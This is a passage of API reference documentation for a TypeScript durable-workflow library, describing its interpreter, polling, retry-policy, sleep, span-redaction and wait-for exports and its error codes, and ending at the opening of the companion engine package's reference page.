Gives an answer the caller's own type. The schema here and the question's own schema description must agree; a disagreement surfaces as a defect rather than a failure a body could catch.

## Interpreter

### `Interpreter.InterpreterError`

- **Type:** `Schema.TaggedError` with fields `code`, `flow: string`, `node: string`, and `message: string`
- **Since:** `0.1.0`

A graph the interpreter refuses to drive. The `code` is one of `incomplete_graph`, `duplicate_node_id`, `unresolved_action`, `implementation_version_mismatch`, `missing_implementation_version`, `unresolved_reference`, `unsupported_call`, `missing_operation`, `node_record_too_large`, `plan_changed` (a durable resume rebuilt a different plan than the run recorded), `payload_changed` (a durable resume's build no longer decodes the payload the run recorded), or `join_mismatch` (a race, any, or quorum journaled members, or a losing child boundary, its plan can no longer reproduce).

A refused run settles failed with the error as its defect. `Flow.Result` stores the error's fields and decodes them back into this class, so `poll`, a browser engine's `result`, and every other reader of the stored run see the same `code`.

### `Interpreter.refusalCode`

- **Signature:** `refusalCode(cause: Cause.Cause<unknown>): Option.Option<InterpreterError["code"]>`
- **Since:** `1.0.0`

The code of the interpreter refusal a run ended with, if it ended with one. It reads a live `InterpreterError` defect or failure, and one decoded from a stored result. A result stored before results kept the code answers `plan_changed` when it carries that refusal's message, and nothing for any other refusal.

```ts
const settle = Effect.gen(function*() {
  const exit = yield* engine.result(Answer, answerId)
  const code = Exit.isFailure(exit) ? Interpreter.refusalCode(exit.cause) : Option.none()
  if (Option.contains(code, "plan_changed") || Option.contains(code, "payload_changed")) {
    // Parked under one build and refused under the next: close what the run was feeding.
  }
})
```

### `Interpreter.Interpretation`

- **Type:** `interface Interpretation { readonly value: unknown; readonly settled: ReadonlyMap<string, unknown>; readonly failed: ReadonlyMap<string, unknown>; readonly skipped: ReadonlyArray<string> }`
- **Since:** `0.1.0`

What one interpretation produced: the root's value, every node that settled with the value it settled with, the typed failures observed before a catch recovered them, and the nodes the run never reached because a branch went the other way.

### `Interpreter.childExecutionId`

- **Signature:** `childExecutionId(parentExecutionId: string, nodeId: string, calleeTag: string, payload: unknown): Effect.Effect<string, never, Crypto.Crypto>`
- **Since:** `0.1.0`

The execution id a `child` boundary runs its child under, derived from the parent execution id, the node id, the callee tag, and the payload digest.

### `Interpreter.maximumPageBytes`

- **Type:** `number`
- **Default:** `12_000`
- **Since:** `1.0.0`

The largest UTF-8 encoded plan page, including its envelope. The runtime's
optional `nodeRecordBytes` hook measures a conservative complete journal entry;
without a writer hook the interpreter measures the whole node record. Nothing
about one node has to fit one page: a node is seated with no dependencies on
it, and its dependency list and its incoming edges are spread over as many
following pages as they need, so an input-driven fan-in of any width is
recorded rather than refused. A continuation page re-seats the same summary
with the next disjoint slice of `dependsOn`; a reader assembles pages in order,
unions `dependsOn` per node id and concatenates edges. Only a node whose
summary with NO dependencies on it still exceeds the budget is refused, with
`node_record_too_large`, before any page or action is written. Every page has a
deterministic source id across resume. The gateway refuses a bridged graph
event exceeding 16 KiB including its control envelope; it never clips
topology.

### `Interpreter.interpret`

- **Signature:** `interpret(flowOrNode: Flow.Any | Node.Any, payload?: unknown, options: Graph.BuildOptions = {}): Effect.Effect<Interpretation, unknown, Services>`
- **Since:** `0.1.0`

Builds and walks the graph of a flow body, or of a bare node, against real values. The walk is demand-driven from the root rather than a sweep over the node list, because dependency order puts both branch arms before the branch that chooses between them.

One call is one interpretation of one execution. A runtime that implements `recordNode` addresses the records of a call by the graph's own ids under the current execution, so calling `interpret` twice inside a single execution would address the second graph's records exactly as the first graph's, and a journal that dedupes on identity would keep the first. `Interpreter.layer` gives every trampoline round its own execution id and never does this; a direct caller that wants two graphs recorded separately runs them under separate executions.

### `Interpreter.layer`

- **Type:** `Layer.Layer<never, never, FlowRuntime | Implementations | ...schema services>`
- **Signature:** `layer(flow: Flow<Tag, Payload, Success, Error, any>, options: Graph.BuildOptions = {}): Layer.Layer<...>`
- **Since:** `0.1.0`

Registers a flow with the runtime and installs the handler that drives its body. It is the only way a flow's behavior reaches the runtime, and the reason a flow has no `toLayer`. Compose it beside the action implementation layers the body calls, over `Action.layerImplementations`.

### `Interpreter.layerWithImplementations`

- **Signature:** `layerWithImplementations(flow: Flow<Tag, Payload, Success, Error, Requires>, implementations: Layer.Layer<Provided, E, R>, options: Graph.BuildOptions = {}): Layer.Layer<...>`
- **Since:** `0.1.0`

Builds the interpreter and the action implementations against one fresh, isolated `Action.Implementations` table. The types require every action the flow names. `callbackIdentity` defaults to `"stable"`. A conflicting same-tag registration dies during layer construction unless it passes `{ override: true }`.

## Poll

### `Poll.Backoff`

- **Type:** `"fixed" | "linear" | "exponential"`
- **Since:** `0.1.0`

How the wait between attempts grows.

### `Poll.Check`

- **Type:** `interface Check<out Result> { readonly satisfied: boolean; readonly output: Result }`
- **Since:** `0.1.0`

What a check reports: whether the poll is over, and the value this attempt read.

### `Poll.CheckResult`

- **Signature:** `CheckResult<Result extends Schema.Top>(result: Result): Schema.Struct<{ readonly satisfied: typeof Schema.Boolean; readonly output: Result }>`
- **Since:** `0.1.0`

The success schema a check action declares.

### `Poll.PollExhausted`

- **Type:** `Schema.TaggedError` with fields `code: "poll_exhausted"`, `poll: string`, `attempts: number`, and `message: string`
- **Since:** `0.1.0`

A poll used its last attempt without a satisfied check. The wire shape freezes at 1.0.0-rc.0.

### `Poll.exhaustedTag`

- **Type:** `"system/poll-exhausted"`
- **Since:** `0.1.0`

The tag the exhaustion step is catalogued and resolved under.

### `Poll.exhausted`

- **Type:** `Action.Declared<typeof exhaustedTag, Schema.Struct<{ readonly poll: typeof Schema.String; readonly attempts: typeof Schema.Number }>, typeof Schema.Never, typeof PollExhausted, never>`
- **Since:** `0.1.0`

The declared step a poll takes when its last attempt was not satisfied.

### `Poll.delayMillis`

- **Signature:** `delayMillis(options: { readonly intervalMs: number; readonly backoff: Backoff; readonly attempt: number }): number`
- **Since:** `0.1.0`

The wait before the attempt after this one, in milliseconds. `fixed` returns the interval, `linear` multiplies it by the attempt, and `exponential` multiplies it by 2 raised to the attempt minus one.

### `Poll.Failure`

- **Type:** `Schema.Union<readonly [typeof PollExhausted, typeof Sleep.SleepRequestInvalid]>`
- **Since:** `0.1.0`

What a poll round can fail with. `SleepRequestInvalid` is part of it because the wait between attempts is an ordinary `Sleep.action` node, and a round payload can carry an attempt that derives an invalid wait.

### `Poll.PayloadSchema`

- **Type:** `Schema.Struct<Input & { readonly attempt: Schema.optional<typeof Schema.Number> }>`
- **Since:** `0.1.0`

The payload schema `Poll.make` derives from an author's input fields: the author's own fields, plus the attempt this round is. `attempt` is optional, and the first round reads it as one.

### `Poll.make`

- **Signature:** `make(tag: Tag, options: { readonly input: Input; readonly result: Result; readonly check: (payload: Schema.Struct.Type<Input> & { readonly attempt: number }) => Node.Node<Check<Result["Type"]>, never, R>; readonly intervalMs: number; readonly maxAttempts: number; readonly backoff?: Backoff | undefined; readonly onTimeout?: "fail" | "return-last" | undefined }): Flow.Flow<Tag, PayloadSchema<Input>, Result, typeof Failure, R>`
- **Required:** `input`, `result`, `check`, `intervalMs`, and `maxAttempts`
- **Since:** `0.1.0`

Declares a durable poller and returns an ordinary flow. Its body is one attempt: run `check`, then either settle the lineage with the check's output or sleep for this attempt's delay and hand off to the next round with the attempt counter raised. `maxAttempts` is also the flow's `maxRounds`. `onTimeout` chooses between failing with `PollExhausted` at the bound and answering with the last check output. The check may not fail; state what a failure means with `Node.catch` inside the fragment.

`Poll.make` throws a `TypeError` when `input` declares the reserved `attempt` field, and a `RangeError` when `intervalMs` is not a duration a clock accepts, when `maxAttempts` is not a whole number of attempts of at least one, or when the interval under the declared backoff reaches a wait no clock can be armed with before the budget is spent.

### `Poll.layer`

- **Type:** `Layer.Layer<never, never, Crypto.Crypto | FlowRuntime>`
- **Since:** `0.1.0`

The exhaustion implementation, provided beside the other action layers a poll's rounds call.

## RetryPolicy

### `RetryPolicy.RetryPolicy`

- **Type:** `Schema.Struct({ initialMs: Schema.Number, factor: Schema.Number, maxMs: Schema.Number, maxAttempts: Schema.optional(Schema.Number), expirationMs: Schema.optional(Schema.Number), jitterRatio: Schema.optional(Schema.Number), nonRetryable: Schema.optional(Schema.Array(Schema.String)), retryable: Schema.optional(Schema.Array(Schema.Struct({ tag: Schema.String, code: Schema.optional(Schema.String) }))) })` refined by a `validRetryPolicy` filter, with the type alias `typeof RetryPolicy.Type`
- **Since:** `0.1.0`

A retry policy as plain data, so the next delay is derived from a persisted attempt count instead of fiber-local `Schedule` state. Decoding enforces the same relational contract as `RetryPolicy.make`, so persisted data cannot bypass the constructor checks.

### `RetryPolicy.make`

- **Signature:** `make(options: { readonly initialMs: number; readonly factor: number; readonly maxMs: number; readonly maxAttempts?: number | undefined; readonly expirationMs?: number | undefined; readonly jitterRatio?: number | undefined; readonly nonRetryable?: ReadonlyArray<string> | undefined; readonly retryable?: ReadonlyArray<{ readonly tag: string; readonly code?: string | undefined }> | undefined }): RetryPolicy`
- **Required:** `initialMs`, `factor`, and `maxMs`
- **Since:** `0.1.0`

Creates a policy after checking every numeric bound, and throws a `RangeError` naming the field that is wrong: `initialMs` finite and greater than zero, `factor` finite and positive, `maxMs` finite and not below `initialMs`, `maxAttempts` a safe integer of at least one, `expirationMs` finite and positive, and `jitterRatio` finite and within zero and one inclusive. `initialMs: 0` is refused rather than read as an immediate retry, because every computed delay would be zero and `nextDelay` would report the policy exhausted on the first failure; use `initialMs: 1` for a near-immediate retry. `jitterRatio: 0` disables jitter. The `nonRetryable` array is copied and frozen, so a later mutation of the caller's array cannot change what a parked policy means. `retryable`, when present, lists the only failures that retry, each a tag and optionally a `code`; it is copied and frozen the same way, and an entry with an empty tag or code is refused.

### `RetryPolicy.transient`

- **Type:** `RetryPolicy`

Frozen infrastructure policy: `initialMs: 5000`, `factor: 2`, `maxMs: 300000`,
`expirationMs: 7200000`. Dispatch uses it by default for repeat-safe typed
infrastructure failures; `Fault.retryTransient` dispatches a keyed action through that same default.

### `RetryPolicy.defaultRetryPolicy`

- **Type:** `RetryPolicy`
- **Default:** `{ initialMs: 200, factor: 1.5, maxMs: 30000 }`
- **Since:** `0.1.0`

The default engine retry policy. It declares neither `maxAttempts` nor `expirationMs`, so it never gives up. Bound long-lived retries with `make({ ..., expirationMs })` when a wall-clock give-up is required.

### `RetryPolicy.RetryAfter`

- **Type:** `interface RetryAfter { readonly _tag: "RetryAfter"; readonly delayMs: number }`
- **Since:** `0.1.0`

A retry decision: wait `delayMs` before the next attempt.

### `RetryPolicy.GiveUp`

- **Type:** `interface GiveUp { readonly _tag: "GiveUp"; readonly reason: "nonRetryable" | "exhausted" | "expired" }`
- **Since:** `0.1.0`

A retry decision: stop retrying, with the reason the policy stopped.

### `RetryPolicy.RetryDecision`

- **Type:** `RetryAfter | GiveUp`
- **Since:** `0.1.0`

The outcome of the engine's retry decision point.

### `RetryPolicy.retryAfter`

- **Signature:** `retryAfter(delayMs: number): RetryDecision`
- **Since:** `0.1.0`

Creates a `RetryAfter` decision.

### `RetryPolicy.giveUp`

- **Signature:** `giveUp(reason: GiveUp["reason"]): RetryDecision`
- **Since:** `0.1.0`

Creates a `GiveUp` decision.

### `RetryPolicy.RetryPolicyExpired`

- **Type:** `Schema.TaggedError` with fields `code: "retry_policy_expired"`, `actionName: string`, `attempt: number`, `expirationMs: number`, and optional `lastError`
- **Since:** `0.1.0`

A historical retry sequence crossed the policy's `expirationMs` wall-clock bound. Current engines preserve the final declared failure instead; the schema remains for reading old outcomes.

### `RetryPolicy.RetryAttemptsExhausted`

- **Type:** `Schema.TaggedError` with fields `code: "retry_attempts_exhausted"`, `actionName: string`, `attempt: number`, `maxAttempts: number`, and optional `lastError`
- **Since:** `0.1.0`

A historical retry sequence exhausted the policy's `maxAttempts` bound. Current engines preserve the final declared failure instead; the schema remains for reading old outcomes.

### `RetryPolicy.nextDelay`

- **Signature:** `nextDelay(policy: RetryPolicy, attempt: number, options?: { readonly random?: number | undefined; readonly elapsedMs?: number | undefined }): Option.Option<number>`
- **Default:** `random` is `1`, which leaves the delay un-jittered
- **Since:** `0.1.0`

Computes the delay before attempt `attempt + 1` from the persisted attempt count, mirroring Temporal's `ComputeNextDelay`. `attempt` is the one-based attempt that failed. It returns `None` when the policy gives up: `maxAttempts` reached, a non-positive computed interval, a cap below the initial interval, or an elapsed duration past `expirationMs`. It is total even for a policy decoded from a persisted row, so a non-finite attempt, elapsed time, bound, or computed delay answers `None` rather than handing the engine a negative or `NaN` duration.

### `RetryPolicy.nextDelayEffect`

- **Signature:** `nextDelayEffect(policy: RetryPolicy, attempt: number, options?: { readonly elapsedMs?: number | undefined }): Effect.Effect<Option.Option<number>>`
- **Since:** `0.1.0`

Computes the next delay, sampling the `Random` service for jitter. A policy with no `jitterRatio`, or one at or below zero, skips the sample.

### `RetryPolicy.errorTag`

- **Signature:** `errorTag(error: unknown): string | undefined`
- **Since:** `0.1.0`

Extracts the stable identity tag of an error for non-retryable matching: an own string `_tag` when present, otherwise the first own `name` descriptor found while walking a bounded prototype chain. That first descriptor decides the result, and only a string data value is a tag.

### `RetryPolicy.failureType`

- **Signature:** `failureType(cause: Cause.Cause<unknown>): string`
- **Root import:** `import { RetryPolicy } from "@smthrs/flow"`

The shared browser and Cloudflare diagnostic classifier. It reads the squashed failure through `errorTag`, returning its stable tag or name, or `unknown`. Messages, stacks and other payload fields are omitted. Interruption and empty causes retain the name of Effect's squashed error.

### `RetryPolicy.defaultNonRetryable`

- **Type:** `ReadonlyArray<string>`
- **Default:** `["@smthrs/engine-store/CacheCorruptionDetected", "@smthrs/engine-store/AttemptEvidenceQuarantined"]`
- **Since:** `0.1.0`

The error tags that are non-retryable by type, under every policy. They are integrity verdicts that must reach the driver without an action-level retry hiding the first detection. There is no per-callsite or per-policy opt-out.

### `RetryPolicy.isNonRetryable`

- **Signature:** `isNonRetryable(policy: RetryPolicy, error: unknown): boolean`
- **Since:** `0.1.0`

Whether an error is classified non-retryable: by `defaultNonRetryable`, by the policy's `nonRetryable` tags, or, when the policy declares `retryable`, by matching none of its entries (a tag, and the error's own string `code` when the entry names one). Without `retryable`, a failure the first two do not name retries.

### `RetryPolicy.decide`

- **Signature:** `decide(policy: RetryPolicy, options: { readonly attempt: number; readonly error: unknown; readonly random?: number | undefined; readonly elapsedMs?: number | undefined }): RetryDecision`
- **Since:** `0.1.0`

The pure core of the engine's single retry decision point. Non-retryable errors are classified here and nowhere else. A failure with its own `retryAfterMillis`, a finite non-negative number of milliseconds such as a provider's `Retry-After` on a `ModelError`, retries after that delay instead of the policy's backoff, capped by `maxMs` and by what remains of `expirationMs`.

### `RetryPolicy.decideEffect`

- **Signature:** `decideEffect(policy: RetryPolicy, options: { readonly attempt: number; readonly error: unknown; readonly elapsedMs?: number | undefined }): Effect.Effect<RetryDecision>`
- **Since:** `0.1.0`

The effect form of `RetryPolicy.decide`, sampling the `Random` service for jitter. It is the engine-facing decision function.

### `RetryPolicy.schedule`

- **Signature:** `schedule<E>(policy: RetryPolicy): Schedule.Schedule<number, E>`
- **Since:** `1.0.0`

The engine's retry decision as an Effect `Schedule`, for work no durable step can hold because it is bound to its caller's scope, such as a connection a page keeps open. Each failure is decided by `RetryPolicy.decideEffect`; the schedule waits the decided delay, or ends when the policy gives up, so `Effect.retry` or `Stream.retry` fails with that failure. Its output is the attempt that just failed, one for the first, and `elapsedMs` counts from the first failure. Nothing is persisted; `Stream.retry` starts the count over once the stream emits again.

## Sleep

### `Sleep.SleepRequestInvalid`

- **Type:** `Schema.TaggedError` with fields `code: "missing_deadline" | "ambiguous_deadline" | "invalid_deadline"` and `message: string`
- **Since:** `0.1.0`

A sleep whose payload does not name exactly one deadline. `missing_deadline` names neither `millis` nor `until`. `ambiguous_deadline` names both. `invalid_deadline` names a number that is not a length of time: a non-finite or negative `millis`, a non-finite `until`, or an addition that overflows.

### `Sleep.tag`

- **Type:** `"system/sleep"`
- **Since:** `0.1.0`

The tag the sleep declaration is catalogued and resolved under.

### `Sleep.action`

- **Type:** `Action.Declared<typeof tag, Schema.Struct<{ readonly millis: Schema.optional<Schema.Number>; readonly until: Schema.optional<Schema.Number> }>, typeof Schema.Void, typeof SleepRequestInvalid, never>`
- **Since:** `0.1.0`

The declared `system/sleep` step: a relative `millis` from now, or an absolute `until` in epoch milliseconds. Each call is its own keyed node with its own identity, so two waits of the same length are two waits. A deadline that has already passed settles the node instead of parking it.

### `Sleep.layer`

- **Type:** `Layer.Layer<never, never, Crypto.Crypto | FlowRuntime>`
- **Since:** `0.1.0`

The sleep implementation: arm the durable clock, park under `timer`, wake. Provide it beside the other action implementation layers, over `Action.layerImplementations`.

## SpanFailure

An OTLP exporter writes a failed span's error message and stack into its status and `exception` event, and a failure's message is often someone else's text: a model provider's error can quote a prompt. A span that ends through this module records a stand-in for each failure instead: its tag, or else its class name, and a tagged failure's `code` when the code is a lowercase token, such as `Refused: rate_limited`; anything else reads `redacted`. Only the span's copy changes: the caller still receives the original failure.

`Action.execute`, each flow's `<tag>.execute` span, and `@smthrs/engine-store`'s `ActionPersistence.execute` end this way, so an action's failure text never reaches them.

### `SpanFailure.exit`

- **Signature:** `exit<A, E>(result: Exit.Exit<A, E>): Exit.Exit<A, unknown>`
- **Since:** `1.0.0`

An exit as a span records it: every failure and defect replaced by its stand-in, keeping its annotations. A success and an interruption pass unchanged.

### `SpanFailure.tracer`

- **Signature:** `tracer(inner: Tracer.Tracer): Tracer.Tracer`
- **Since:** `1.0.0`

The tracer with every span it opens ending on `exit`. Wrapping it again returns it unchanged.

### `SpanFailure.effect`, `SpanFailure.stream`, `SpanFailure.fn`

- **Since:** `1.0.0`

Run an effect, a stream, or every call of a traced function on `tracer`, so every span they open withholds its failure text. Wrap a traced function itself, `fn(Effect.fn("name")(body))`, so its own span opens on the wrapped tracer.

### `SpanFailure.withSpan`

- **Signature:** `withSpan(name: string, options?: Tracer.SpanOptions): <A, E, R>(self: Effect<A, E, R>) => Effect<A, E, R>`
- **Since:** `1.0.0`

`Effect.withSpan` with only that one span withholding its failure text; the spans the effect opens are traced as before.

## Stall

`Stall` is the stall breaker round loops share. `@smthrs/patterns` loops and the coding correction flow use it.

### `Stall.policy`

- **Signature:** `policy(options: Options): Policy`
- **Since:** `1.0.0`

Resolves `rounds` (at least two) and `on`: `stop` (the default), `park`, or `escalate`. The loop decides what `on` means.

### `Stall.observe`

- **Since:** `1.0.0`

`Stall.observe(policy, state, observation)` folds one round into the carried `State`. It returns the next state, with a `Stalled` verdict once one signal held for `rounds` rounds in a row. An observation reports any of `tree` (a tree fingerprint), `checks` (failing check ids, order ignored, empty not compared), and `output` (compared by the SHA-256 of its canonical JSON; a value with no canonical form is not compared).

### `Stall.initial`

- **Type:** `State`
- **Since:** `1.0.0`

The state before the first round. `State`, `Policy`, and `Stalled` are schemas, so a trampoline carries the state in its payload and replay reads the same verdict.

## StepIdentity

`StepIdentity` is the module `Action` also re-exports, so `StepIdentity.DispatchSite` and `Action.DispatchSite` are one symbol.

### `StepIdentity.DispatchSite`

- **Type:** `Context.Service<DispatchSite, string>` keyed `"@smthrs/flow/Action/DispatchSite"`
- **Since:** `0.1.0`

The interpreter graph site the running dispatch is scoped to.

### `StepIdentity.DispatchOutcome`

- **Type:** `interface DispatchOutcome { readonly outcome: "executed" | "replayed"; readonly stepKeyDigest?: string | undefined; readonly attempt?: number | undefined }`
- **Since:** `1.0.0`

What one dispatch tells the node that drove it: whether the body ran, the step key digest it ran under, and the durable attempt it was.

### `StepIdentity.DispatchReport`

- **Type:** `Context.Service<DispatchReport, { readonly dispatched: (dispatch: DispatchOutcome) => Effect.Effect<void> }>` keyed `"@smthrs/flow/Action/DispatchReport"`
- **Since:** `1.0.0`

Where the dispatches of one interpreter node report what happened to them.

### `StepIdentity.reportDispatch`

- **Signature:** `reportDispatch(dispatch: DispatchOutcome): Effect.Effect<void>`
- **Since:** `1.0.0`

Reports one dispatch to the node that drove it, and does nothing where no node did.

### `StepIdentity.AllocationIdentity`

- **Type:** `interface AllocationIdentity { readonly kind: "action" | "internal"; readonly name: string; readonly idempotency?: string | Schema.JsonObject | undefined; readonly site?: string | undefined }`
- **Since:** `0.1.0`

The declaration material an allocation scope is derived from. `kind` is `"action"` for user-declared dispatches and `"internal"` for engine-owned durable operations, and the two own disjoint counter namespaces. `name` is the stable declaration identity, never a diagnostic name. `idempotency` refines the scope so two concurrent invocations of one name with distinguishable inputs own separate counters. `site` is the replay-stable address of the graph node driving the dispatch, and is absent for handler-driven dispatches.

### `StepIdentity.allocationScope`

- **Signature:** `allocationScope(identity: AllocationIdentity): Effect.Effect<string, Schema.SchemaError, Crypto.Crypto>`
- **Since:** `0.1.0`

Derives the ordinal allocation scope of a durable operation.

### `StepIdentity.invocationKey`

- **Signature:** `invocationKey(input: { readonly runId: string; readonly parentScope?: string | undefined; readonly ordinal: number; readonly tier: "unsealed" | "compensable" | "irreversible" }): Effect.Effect<StoredKey, Schema.SchemaError, Crypto.Crypto>`
- **Since:** `0.1.0`

Derives an invocation key from engine-generated input.

## WaitFor

### `WaitFor.WaitForRequestInvalid`

- **Type:** `Schema.TaggedError` with fields `code: "missing_target" | "ambiguous_target" | "malformed_token" | "foreign_execution"` and `message: string`
- **Since:** `0.1.0`

A wait whose payload does not name exactly one reachable wait point. `missing_target` and `ambiguous_target` cover a payload naming neither or both. `malformed_token` covers a token that does not parse. `foreign_execution` covers a token addressed to another flow or another execution.

### `WaitFor.tag`

- **Type:** `"system/wait-for"`
- **Since:** `0.1.0`

The tag the wait declaration is catalogued and resolved under.

### `WaitFor.deferred`

- **Signature:** `deferred(name: string): DurableDeferred.DurableDeferred<typeof Schema.Json>`
- **Since:** `0.1.0`

The durable deferred a named wait point resolves through, named `WaitFor/<name>`. It is the resolver's half of `WaitFor.action`: the value to hand `DurableDeferred.tokenFromExecutionId` and `DurableDeferred.succeed`.

### `WaitFor.action`

- **Type:** `Action.Declared<typeof tag, Schema.Struct<{ readonly token: Schema.optional<Schema.String>; readonly name: Schema.optional<Schema.String> }>, typeof Schema.Json, typeof WaitForRequestInvalid, never>`
- **Since:** `0.1.0`

The declared `system/wait-for` step: a rendezvous with something outside the run, named by `name` relative to the running execution, or by an absolute `token`.

### `WaitFor.layer`

- **Type:** `Layer.Layer<never, never, Crypto.Crypto | FlowRuntime>`
- **Since:** `0.1.0`

The wait implementation: park under `event` with the wake token, and settle with the value that resolved the wait. Provide it beside the other action implementation layers, over `Action.layerImplementations`.

## Errors

Every failure the package defines is a `Schema.TaggedError` carrying a stable `code`:

| Tag                                                    | Raised when                                                                                                          | Fields                                                                    |
| ------------------------------------------------------ | -------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------- |
| `@smthrs/flow/InfraInterrupt`                          | An action adapter explicitly marks an infrastructure event for `interruptRetryPolicy`; engines do not synthesize it. | `code`, `reason`                                                          |
| `@smthrs/flow/InfraInterruptRetriesExhausted`          | An action spends its `interruptRetryPolicy` without reaching an ordinary success or failure.                         | `code`, `actionName`, `attempts`, `interrupt`, `message`                  |
| `@smthrs/flow/IrreversibleRetryRequiresIdempotencyKey` | An irreversible action attempts a retry without a declared idempotency key.                                          | `code`, `actionName`, `attempt`                                           |
| `@smthrs/flow/ConcurrentKeylessDispatch`               | Two ordinal-keyed invocations of one allocation scope are in flight at once.                                         | `code`, `actionName`                                                      |
| `@smthrs/flow/UncanonicalIdempotencyKey`               | A caller-declared object-form `idempotencyKey` carries material canonical serialization rejects.                     | `code`, `actionName`, `reason`, `path`, `message`                         |
| `@smthrs/flow/DurableDeferred/TokenInvalid`            | A completion token does not parse, or names a different deferred than the surface it was submitted through.          | `code`, `message`                                                         |
| `@smthrs/flow/ExecutionIdRequired`                     | Opt-in derivation could not canonicalize the payload, or a served resume was not scoped to an id.                    | `code`, `flowName`                                                        |
| `@smthrs/flow/MaxRoundsExceeded`                       | A trampoline lineage opens a round past its flow's `maxRounds` budget.                                               | `code`, `flowName`, `lineageId`, `maxRounds`, `roundOrdinal`, `message`   |
| `@smthrs/flow/DeadlineExceeded`                        | An execution is still unsettled when its flow's `deadline` elapses.                                                  | `code`, `flowName`, `executionId`, `deadlineMs`, `startedAtMs`, `message` |
| `@smthrs/flow/CancelRequestFailed`                     | `interrupt` cannot durably record its cancellation request, or a durable engine is asked for `interruptUnsafe`.      | `code`, `executionId`, `reason`                                           |
| `@smthrs/flow/FlowCycleDetected`                       | Executing a flow would close a cycle in the persisted parent-execution chain.                                        | `code`, `path`                                                            |
| `@smthrs/flow/FlowExecutionNotFound`                   | `poll` names an execution id the runtime never recorded.                                                             | `code`, `executionId`                                                     |
| `@smthrs/flow/HumanTaskFailed`                         | A question is unanswerable, spends its attempt budget on refused answers, or passes its deadline while open.         | `code`, `task`, `attempts`, `rejections`, `message`                       |
| `@smthrs/flow/HumanAnswerInvalid`                      | An answer is outside the durable JSON boundary, or the attempt it addresses is not open.                             | `code`, `message`                                                         |
| `@smthrs/flow/InterpreterError`                        | The interpreter refuses a graph it cannot drive.                                                                     | `code`, `flow`, `node`, `message`                                         |
| `@smthrs/flow/PollExhausted`                           | A poll uses its last attempt without a satisfied check, under `onTimeout: "fail"`.                                   | `code`, `poll`, `attempts`, `message`                                     |
| `@smthrs/flow/RetryPolicyExpired`                      | A historical retry sequence crossed the policy's `expirationMs` wall-clock bound.                                    | `code`, `actionName`, `attempt`, `expirationMs`, `lastError`              |
| `@smthrs/flow/RetryAttemptsExhausted`                  | A historical retry sequence exhausted the policy's `maxAttempts` bound.                                              | `code`, `actionName`, `attempt`, `maxAttempts`, `lastError`               |
| `@smthrs/flow/SleepRequestInvalid`                     | A sleep payload names no deadline, two deadlines, or a value that is not a length of time.                           | `code`, `message`                                                         |
| `@smthrs/flow/WaitForRequestInvalid`                   | A wait payload names no target, two targets, a token that does not parse, or a token addressed to another execution. | `code`, `message`                                                         |

`Flow.make`, `Poll.make`, `RetryPolicy.make`, and `DurableQueue.makeWorker` refuse invalid static configuration by throwing a `RangeError` at construction, and `Poll.make` throws a `TypeError` for an `input` that declares the reserved `attempt` field. Those are programmer errors, not typed failures.

## Example

An action carries an implementation attached as a layer, a flow carries a pure body, and `Interpreter.layer` makes the flow executable:

```ts
import { Action, Flow, Interpreter } from "@smthrs/flow"
import * as Effect from "effect/Effect"
import * as Layer from "effect/Layer"
import * as Schema from "effect/Schema"

const Status = Action.make("deploy/status", {
  payload: { id: Schema.String },
  success: Schema.String,
  tier: "sealed"
})

const Deploy = Flow.make("deploy/watch", {
  payload: { id: Schema.String },
  success: Schema.String,
  idempotencyKey: ({ id }) => id,
  body: (payload) => Status.call(payload)
})

// `layerImplementations` goes UNDER the implementation layers, because an
// implementation files itself in the table while its layer is built.
export const layer = Layer.mergeAll(
  Status.toLayer(({ id }) => Effect.succeed(`${id} is live`)),
  Interpreter.layer(Deploy)
).pipe(Layer.provideMerge(Action.layerImplementations))
```

Provide a runtime that implements `FlowRuntime`, then run `Deploy.execute({ id: "greeting-ada-1" }, { executionId: "deploy-greeting-ada-1" })`.

## See also

- [`@smthrs/engine`](/docs/reference/api/engine/), which implements the `FlowRuntime` port
- [`@smthrs/engine-store`](/docs/reference/api/engine-store/), which makes that implementation durable
- [`@smthrs/plan`](/docs/reference/api/plan/), whose `Node` and `FileSet` vocabulary a body is written in
- [`@smthrs/crypto`](/docs/reference/api/crypto/) and [`@smthrs/keys`](/docs/reference/api/keys/), the digest and key derivations identity is built from
- [Durable execution](/docs/concepts/durable-execution/), for why a journaled side effect resumes
- [Flows, actions, and plans](/docs/concepts/flows-actions-plans/), for the division between a body and an implementation
- [Retries](/docs/concepts/retries/), for how a policy value becomes a durable decision

---

# Export reference
https://smithers.sh/docs/reference/api/engine/

{/* Generated from packages/smithers/flows/engine/docs/reference/engine.md. Edit the source, then run `pnpm exec smithers-build target //apps/site:referenceIngest --write`. */}

> **Source:** [implementation](https://github.com/smithersai/smithers/tree/main/packages/smithers/flows/engine/src) · [reference source](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/engine/docs/reference/engine.md)

The package implements `FlowRuntime`, the port `@smthrs/flow` declares, over a low-level `Encoded` seam, and derives RPC and HTTP transports from flow declarations.

This page is the long form: one entry per export, with the full type and every field. [API reference](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/engine/docs/api.md) is the short tour of the same surface, grouped by what each export is for.

## Install

Install the engine beside the flow package it runs:

```bash
npm install @smthrs/engine@next @smthrs/flow@next effect
```

## Entry points

Each subpath in the package `exports` map resolves to one source module:

| Import                           | Source                    | Platform |
| -------------------------------- | ------------------------- | -------- |
| `@smthrs/engine`                 | `src/index.ts`            | any      |
| `@smthrs/engine/FlowEngine`      | `src/FlowEngine/index.ts` | any      |
| `@smthrs/engine/FlowProxy`       | `src/FlowProxy.ts`        | any      |
| `@smthrs/engine/FlowProxyServer` | `src/FlowProxyServer.ts`  | any      |

`./FlowEngine/*`, `./internal/*`, and `./*/index` are `null` in the `exports` map, so no deeper subpath resolves.

## Namespaces

The root re-exports three namespaces, in this order:

| Namespace         | Summary                          |
| ----------------- | -------------------------------- |
| `FlowEngine`      | Flow execution services.         |
| `FlowProxy`       | Client-side flow proxies.        |
| `FlowProxyServer` | Server-side flow proxy handling. |

## FlowEngine

### `FlowEngine.ActionExecuteOptions`

- **Type:** `interface ActionExecuteOptions`
- **Since:** `0.1.0`
- **Related:** `FlowEngine.Encoded`

The identity and boundary information an `Encoded` implementation receives for one action dispatch.

The fields:

| Field              | Type                                                      | Description                                                                                                                                                           |
| ------------------ | --------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `action`           | `Action.Any`                                              | The action declaration being dispatched.                                                                                                                              |
| `attempt`          | `number`                                                  | The attempt number, starting at `1`. A value above `1` marks a retry.                                                                                                 |
